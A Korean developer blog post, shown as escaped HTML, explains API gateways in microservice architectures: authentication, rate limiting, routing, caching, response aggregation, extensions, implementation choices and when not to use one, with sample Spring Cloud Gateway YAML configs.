    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACG0lEQVR42m1S2W7TQBQ1iZPYsT0zHm/xljhxHTuL7TRJSVdHEJpQ0VYVBJBYKjUSUgWCB6ABCjyUPkBUXqjEB/Cn2N0ECOk83bnnzrnnXAJKHhTdBHLtv8CFQFLbBb2nmyuqsSRrXUFtIaUePxFQC5DRRsY8KjSS0ln1L7ISSHpPNSPNHOjWQDFXRG0BFUKQkMtLuDni/RGvhaLaRLLH4TnwhxCkBECqiYpXtruQt4FgQ9GmgcZJLpG9+5m8M81uvcs9+pa7f5R7cpJ/9pNbfgwEJ1YRj+fkOocrEBQwS3FIyFB0msyIWOdkl+juz268mIUPD1p7R63JsT85lrdfs7V1KF18zsouw7uWbq83+DwSr2XpVCbDMSYrzhHv336cfT3Zmzx/urv/8tXBp8Mv/WiT5ix0uXxMplEVI2voZlN5mKJoIk2Keg0Xm8SDjdPxxunO6Ht/9cPu+JfTHFOxc1p4tXMsj4ZVjrVuOelUHqToPJEiVTuU7JCIlt8MosO1telqNN3Z+lH27zFmGxU7UPVj5tnOiWwOVDolQDIyyeAshVi2yAg2Aat92bmOnJ7s34S1SAmHghuB0gLUw/PYYldZwWFwGQgWhSyaj1Fi+EriNjJaYqUnVCNcH2D/tuCPUDWCVg8a8+fkOKe4LxkheZx8CckDkkcIxY5YWcTOqtgY6N1trbOpBkO+sgj11j8Hgy5irwt6IBnJkf0G00hecGqBtR0AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/953daef2c6de64fae4e786ff5345bd06/a1b3b/thumbnail.webp 215w,
/static/953daef2c6de64fae4e786ff5345bd06/fc700/thumbnail.webp 430w,
/static/953daef2c6de64fae4e786ff5345bd06/521f7/thumbnail.webp 860w,
/static/953daef2c6de64fae4e786ff5345bd06/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/953daef2c6de64fae4e786ff5345bd06/f7886/thumbnail.png 215w,
/static/953daef2c6de64fae4e786ff5345bd06/bc750/thumbnail.png 430w,
/static/953daef2c6de64fae4e786ff5345bd06/3e3fe/thumbnail.png 860w,
/static/953daef2c6de64fae4e786ff5345bd06/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/953daef2c6de64fae4e786ff5345bd06/3e3fe/thumbnail.png&apos; alt=&apos;API 게이트웨이 5개의 관문 커버 — 인증·레이트 리밋·라우팅·캐시·응답 집계&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;API 게이트웨이 5개의 관문 커버 — 인증·레이트 리밋·라우팅·캐시·응답 집계&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;서비스를 여러 개로 쪼갰는데, 인증 코드를 서비스마다 복붙하고 있습니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;마이크로서비스로 넘어가면 거의 모두가 이 지점에서 한 번 막힙니다. 서비스는 깔끔하게 나눴는데, &lt;strong&gt;인증·로깅·요청 제한 같은 &quot;공통 관심사&quot;가 서비스마다 중복&lt;/strong&gt;되기 시작하죠. 서비스가 4개면 인증 코드도 4벌입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;API 게이트웨이는 이 공통 관심사를 서비스 밖으로 꺼내 한 곳에 모으는 장치입니다.&lt;/strong&gt; 클라이언트와 서비스 사이에 문을 하나 세우고, 모든 요청이 그 문을 지나가게 만드는 것이죠.&lt;/p&gt;
&lt;p&gt;말로 설명하면 추상적이라, &lt;strong&gt;요청 하나가 게이트웨이를 통과하는 과정을 2분짜리 영상으로 만들었습니다.&lt;/strong&gt; 글보다 이쪽이 빠를 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://youtu.be/lMMb0E6KBJU&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACG0lEQVR42m1S2W7TQBQ1iZPYsT0zHm/xljhxHTuL7TRJSVdHEJpQ0VYVBJBYKjUSUgWCB6ABCjyUPkBUXqjEB/Cn2N0ECOk83bnnzrnnXAJKHhTdBHLtv8CFQFLbBb2nmyuqsSRrXUFtIaUePxFQC5DRRsY8KjSS0ln1L7ISSHpPNSPNHOjWQDFXRG0BFUKQkMtLuDni/RGvhaLaRLLH4TnwhxCkBECqiYpXtruQt4FgQ9GmgcZJLpG9+5m8M81uvcs9+pa7f5R7cpJ/9pNbfgwEJ1YRj+fkOocrEBQwS3FIyFB0msyIWOdkl+juz268mIUPD1p7R63JsT85lrdfs7V1KF18zsouw7uWbq83+DwSr2XpVCbDMSYrzhHv336cfT3Zmzx/urv/8tXBp8Mv/WiT5ix0uXxMplEVI2voZlN5mKJoIk2Keg0Xm8SDjdPxxunO6Ht/9cPu+JfTHFOxc1p4tXMsj4ZVjrVuOelUHqToPJEiVTuU7JCIlt8MosO1telqNN3Z+lH27zFmGxU7UPVj5tnOiWwOVDolQDIyyeAshVi2yAg2Aat92bmOnJ7s34S1SAmHghuB0gLUw/PYYldZwWFwGQgWhSyaj1Fi+EriNjJaYqUnVCNcH2D/tuCPUDWCVg8a8+fkOKe4LxkheZx8CckDkkcIxY5YWcTOqtgY6N1trbOpBkO+sgj11j8Hgy5irwt6IBnJkf0G00hecGqBtR0AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/953daef2c6de64fae4e786ff5345bd06/a1b3b/thumbnail.webp 215w,
/static/953daef2c6de64fae4e786ff5345bd06/fc700/thumbnail.webp 430w,
/static/953daef2c6de64fae4e786ff5345bd06/521f7/thumbnail.webp 860w,
/static/953daef2c6de64fae4e786ff5345bd06/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/953daef2c6de64fae4e786ff5345bd06/f7886/thumbnail.png 215w,
/static/953daef2c6de64fae4e786ff5345bd06/bc750/thumbnail.png 430w,
/static/953daef2c6de64fae4e786ff5345bd06/3e3fe/thumbnail.png 860w,
/static/953daef2c6de64fae4e786ff5345bd06/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/953daef2c6de64fae4e786ff5345bd06/3e3fe/thumbnail.png&apos; alt=&apos;API 게이트웨이 5개의 관문 영상 — 요청이 통과하는 과정 시각화&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;API 게이트웨이 5개의 관문 영상 — 요청이 통과하는 과정 시각화&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;이 글에서는 영상에 담지 못한 것 — &lt;strong&gt;구현체 선택 기준, 서킷 브레이커·카나리 배포 같은 확장 기능, 그리고 &quot;게이트웨이를 두면 안 되는 경우&quot;&lt;/strong&gt; 까지 다룹니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;API 게이트웨이란 무엇인가&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;API 게이트웨이&lt;/strong&gt;는 클라이언트의 모든 요청을 받아 적절한 백엔드 서비스로 전달하는 &lt;strong&gt;단일 진입점(Single Entry Point)&lt;/strong&gt; 입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;정체&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;클라이언트와 마이크로서비스 사이의 단일 진입점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;핵심 목적&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;공통 관심사를 서비스 밖으로 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;주요 기능&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;인증·인가, 레이트 리밋, 라우팅, 캐시, 응답 집계, 로깅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;트래픽 방향&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;North-South (외부 ↔ 내부)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;대표 구현&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Spring Cloud Gateway, Kong, Traefik, Envoy, AWS API Gateway&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;없을 때 대안&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;서비스 2~3개면 nginx 리버스 프록시로 충분&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;비유하자면&lt;/strong&gt; — 게이트웨이는 회사 건물의 &lt;strong&gt;로비 안내데스크&lt;/strong&gt;입니다. 방문객은 각 부서 위치를 몰라도 되고, 신분 확인은 로비에서 한 번만 하며, 방문 기록도 여기서 남습니다. 부서마다 경비원을 두는 대신 입구 하나를 지키는 방식이죠.&lt;/p&gt;
&lt;h3&gt;게이트웨이가 없으면 생기는 일&lt;/h3&gt;
&lt;p&gt;클라이언트가 서비스를 직접 호출하면 세 가지 문제가 생깁니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;클라이언트가 모든 서비스 주소를 알아야 합니다.&lt;/strong&gt; 서비스가 늘어날 때마다 클라이언트도 같이 바뀝니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;인증·로깅·제한 로직이 서비스마다 중복됩니다.&lt;/strong&gt; 정책이 바뀌면 전부 고쳐야 합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;서비스 하나만 바뀌어도 클라이언트가 깨집니다.&lt;/strong&gt; 내부 구조 변경이 그대로 외부에 노출됩니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;API 게이트웨이의 5가지 핵심 기능&lt;/h2&gt;
&lt;p&gt;요청 하나가 게이트웨이를 통과하는 순서대로 보겠습니다.&lt;/p&gt;
&lt;h3&gt;1. 인증 · 인가 — 잘못된 요청을 입구에서 끊는다&lt;/h3&gt;
&lt;p&gt;가장 앞단에서 토큰을 검증합니다. 서명이 깨졌거나 만료된 JWT는 &lt;strong&gt;뒤쪽 서비스까지 가지도 못하고 401로 반사&lt;/strong&gt;됩니다.&lt;/p&gt;
&lt;p&gt;효과는 두 가지입니다. 서비스가 인증 코드를 갖지 않아도 되고, &lt;strong&gt;비정상 트래픽이 내부망에 아예 들어오지 않습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Spring Cloud Gateway - JWT 검증 필터&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;spring&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;cloud&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;gateway&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;routes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; user&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;service
          &lt;span class=&quot;token key atrule&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; lb&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//user&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;service
          &lt;span class=&quot;token key atrule&quot;&gt;predicates&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; Path=/api/users/&lt;span class=&quot;token important&quot;&gt;**&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;filters&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; JwtAuthFilter&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2. 레이트 리밋 — 폭주를 내부로 흘려보내지 않는다&lt;/h3&gt;
&lt;p&gt;클라이언트별 요청 수를 세어 허용치를 넘으면 &lt;strong&gt;429 Too Many Requests&lt;/strong&gt;로 차단합니다. 초당 5건이 허용치인데 14건이 들어오면 5건만 통과하고 9건은 게이트웨이에서 끊깁니다.&lt;/p&gt;
&lt;p&gt;핵심은 &lt;strong&gt;뒤쪽 서비스가 폭주를 구경조차 하지 못한다&lt;/strong&gt;는 점입니다. 서비스마다 방어 로직을 넣는 대신 입구에서 한 번에 막습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;filters&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; RequestRateLimiter
    &lt;span class=&quot;token key atrule&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;redis-rate-limiter.replenishRate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 초당 보충량&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;redis-rate-limiter.burstCapacity&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 순간 허용치&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;key-resolver&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#{@userKeyResolver}&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;분산 환경에서는 카운터를 &lt;strong&gt;Redis 같은 공유 저장소&lt;/strong&gt;에 두어야 합니다. 인스턴스별 로컬 카운터를 쓰면 게이트웨이가 3대일 때 실제 허용치가 3배가 됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;3. 라우팅 — 경로가 목적지를 정한다&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;GET /users&lt;/code&gt;는 User 서비스로, &lt;code class=&quot;language-text&quot;&gt;GET /orders&lt;/code&gt;는 Order 서비스로, &lt;code class=&quot;language-text&quot;&gt;POST /pay&lt;/code&gt;는 Payment 서비스로 보냅니다.&lt;/p&gt;
&lt;p&gt;이 덕분에 &lt;strong&gt;서비스가 어디로 이사 가도 클라이언트 코드는 그대로&lt;/strong&gt;입니다. 서비스를 쪼개거나 합쳐도, 인스턴스를 늘려도 클라이언트는 게이트웨이 주소 하나만 압니다. API 버전 관리(&lt;code class=&quot;language-text&quot;&gt;/v1&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;/v2&lt;/code&gt;)도 여기서 처리합니다.&lt;/p&gt;
&lt;h3&gt;4. 캐시 — 같은 요청은 서비스를 부르지 않는다&lt;/h3&gt;
&lt;p&gt;동일한 요청이 다시 오면 게이트웨이가 저장해 둔 응답을 바로 반환합니다. 서비스까지 왕복하던 요청이 게이트웨이에서 끝나므로 &lt;strong&gt;응답 시간과 서비스 부하가 동시에 줄어듭니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;단, 캐시는 &lt;strong&gt;읽기 전용이고 사용자별로 다르지 않은 응답&lt;/strong&gt;에만 걸어야 합니다. 인증된 사용자별 응답을 공유 캐시에 넣으면 다른 사용자에게 남의 데이터가 나갑니다. &lt;code class=&quot;language-text&quot;&gt;Cache-Control: private&lt;/code&gt; 처리와 캐시 키에 사용자 식별자 포함 여부를 반드시 확인하세요.&lt;/p&gt;
&lt;h3&gt;5. 응답 집계 (BFF) — 여러 서비스를 한 번에 묶는다&lt;/h3&gt;
&lt;p&gt;화면 하나를 그리는 데 서비스 셋이 필요할 때, 클라이언트가 세 번 호출하는 대신 &lt;strong&gt;게이트웨이가 대신 병렬로 호출하고(fan-out) 결과를 하나로 합쳐(fan-in) 돌려줍니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;모바일처럼 네트워크 왕복 비용이 큰 환경에서 특히 효과적입니다. 이 패턴을 클라이언트 종류별로 분리하면 &lt;strong&gt;BFF(Backend For Frontend)&lt;/strong&gt; 가 됩니다.&lt;/p&gt;
&lt;p&gt;여기에 더해 모든 통과 기록에 &lt;strong&gt;같은 trace-id&lt;/strong&gt;를 심으면, 요청 하나가 서비스 여러 개를 거친 경로를 한 줄로 추적할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;영상에 없는 것 — 확장 기능 4가지&lt;/h2&gt;
&lt;p&gt;실무에서 게이트웨이에 함께 얹는 기능들입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;th&gt;하는 일&lt;/th&gt;
&lt;th&gt;언제 필요한가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;서킷 브레이커&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;실패가 누적된 서비스로의 호출을 일정 시간 차단&lt;/td&gt;
&lt;td&gt;한 서비스 장애가 전체로 번지는 걸 막을 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;카나리 배포&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;트래픽의 N%만 새 버전으로 라우팅&lt;/td&gt;
&lt;td&gt;무중단으로 새 버전을 점진 검증할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;프로토콜 변환&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;외부 REST ↔ 내부 gRPC 변환&lt;/td&gt;
&lt;td&gt;내부는 gRPC로 성능을 챙기고 외부엔 REST를 열 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;요청/응답 변환&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;헤더 주입, 필드 마스킹, 페이로드 재구성&lt;/td&gt;
&lt;td&gt;레거시 API 스펙을 외부에 그대로 노출하기 싫을 때&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;특히 &lt;strong&gt;서킷 브레이커는 레이트 리밋과 짝&lt;/strong&gt;입니다. 레이트 리밋이 &quot;들어오는 폭주&quot;를 막는다면, 서킷 브레이커는 &quot;나가는 호출이 죽은 서비스에 매달리는 것&quot;을 막습니다. 둘 다 없으면 장애가 연쇄됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;filters&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; CircuitBreaker
    &lt;span class=&quot;token key atrule&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; orderCircuit
      &lt;span class=&quot;token key atrule&quot;&gt;fallbackUri&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; forward&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;/fallback/orders&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;구현체 어떤 걸 고를까&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구현체&lt;/th&gt;
&lt;th&gt;기반&lt;/th&gt;
&lt;th&gt;강점&lt;/th&gt;
&lt;th&gt;이럴 때&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Spring Cloud Gateway&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Java / Netty (리액티브)&lt;/td&gt;
&lt;td&gt;Spring 생태계와 완전 통합, 필터를 자바로 작성&lt;/td&gt;
&lt;td&gt;팀이 Spring 기반이고 커스텀 로직이 많을 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kong&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OpenResty (nginx + Lua)&lt;/td&gt;
&lt;td&gt;플러그인 생태계가 풍부, 관리 UI&lt;/td&gt;
&lt;td&gt;설정 위주로 빠르게 붙이고 싶을 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Traefik&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Go&lt;/td&gt;
&lt;td&gt;동적 설정, 컨테이너 라벨 자동 인식&lt;/td&gt;
&lt;td&gt;쿠버네티스·도커 환경에서 설정 부담을 줄이고 싶을 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Envoy&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;C++&lt;/td&gt;
&lt;td&gt;고성능, 관측성이 강력, 서비스 메시 데이터 플레인&lt;/td&gt;
&lt;td&gt;대규모 트래픽 + 메시까지 염두에 둘 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AWS API Gateway&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;관리형&lt;/td&gt;
&lt;td&gt;인프라 운영 불필요, Lambda 연동&lt;/td&gt;
&lt;td&gt;서버리스 구성이거나 운영 인력이 없을 때&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;선택 기준은 단순합니다. &lt;strong&gt;커스텀 로직을 코드로 많이 짜야 하면 Spring Cloud Gateway, 설정으로 끝내고 싶으면 Kong이나 Traefik, 운영을 맡기고 싶으면 관리형&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;쿠버네티스를 쓰신다면 &lt;a href=&quot;/nginx-to-traefik-migration/&quot;&gt;nginx-ingress에서 Traefik으로 마이그레이션한 경험&lt;/a&gt;도 참고하실 만합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;게이트웨이를 두면 안 되는 경우&lt;/h2&gt;
&lt;p&gt;솔직히 말씀드리면, &lt;strong&gt;API 게이트웨이가 항상 정답은 아닙니다.&lt;/strong&gt; 아래에 해당하면 도입을 미루는 편이 낫습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 서비스가 2~3개이고 팀이 하나일 때&lt;/strong&gt;
공통 관심사 중복이라고 해봐야 몇 곳 안 됩니다. 게이트웨이를 세우면 운영할 컴포넌트만 하나 늘어납니다. nginx 리버스 프록시로 충분합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 이중화 여력이 없을 때&lt;/strong&gt;
게이트웨이는 &lt;strong&gt;모든 트래픽이 지나는 단일 지점&lt;/strong&gt;입니다. 이게 죽으면 서비스가 전부 죽습니다. 최소 2대 이상 + 헬스체크 + 오토스케일을 감당할 수 없다면, 단일 진입점은 편의가 아니라 위험입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 비즈니스 로직을 넣고 싶어질 때&lt;/strong&gt;
가장 흔한 실패 패턴입니다. &quot;여기서 처리하면 편한데&quot; 하면서 도메인 로직이 게이트웨이 설정에 쌓이기 시작하면, 결국 &lt;strong&gt;아무도 못 건드리는 설정 덩어리&lt;/strong&gt;가 됩니다. 게이트웨이에는 인증·라우팅·제한 같은 &lt;strong&gt;횡단 관심사만&lt;/strong&gt; 넣으세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 내부 서비스 간 호출까지 통과시키려 할 때&lt;/strong&gt;
게이트웨이는 &lt;strong&gt;외부 → 내부(North-South)&lt;/strong&gt; 트래픽용입니다. 서비스끼리의 호출(East-West)까지 게이트웨이로 보내면 불필요한 홉과 병목이 생깁니다. 그쪽은 서비스 메시나 직접 호출의 영역입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. API 게이트웨이와 로드밸런서, 리버스 프록시는 뭐가 다른가요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;계층이 다릅니다. &lt;strong&gt;로드밸런서&lt;/strong&gt;는 같은 서비스의 인스턴스들에 트래픽을 분배합니다(L4/L7). &lt;strong&gt;리버스 프록시&lt;/strong&gt;는 요청을 대신 받아 백엔드로 전달합니다. &lt;strong&gt;API 게이트웨이&lt;/strong&gt;는 리버스 프록시 기능 위에 &lt;strong&gt;인증·레이트 리밋·응답 집계 같은 API 수준의 정책&lt;/strong&gt;을 얹은 것입니다. 게이트웨이가 리버스 프록시의 상위 개념이라고 보시면 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 쿠버네티스 Ingress가 있는데 API 게이트웨이가 또 필요한가요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;역할이 겹치지만 같지는 않습니다. &lt;strong&gt;Ingress는 클러스터로 들어오는 HTTP 라우팅과 TLS 종료&lt;/strong&gt;에 초점이 있습니다. JWT 검증, 사용자별 레이트 리밋, 응답 집계 같은 API 정책은 기본 Ingress로는 부족합니다. 그래서 Ingress Controller에 게이트웨이 기능을 더한 제품(Kong Ingress, Traefik 등)을 쓰거나, Ingress 뒤에 게이트웨이를 따로 두는 구성을 씁니다. 쿠버네티스 기초는 &lt;a href=&quot;/k8s-understanding/&quot;&gt;K8S에 대한 이해&lt;/a&gt;와 &lt;a href=&quot;/ingress-cert-manager-guide/&quot;&gt;Ingress + cert-manager 가이드&lt;/a&gt;에 정리해 뒀습니다.&lt;/p&gt;
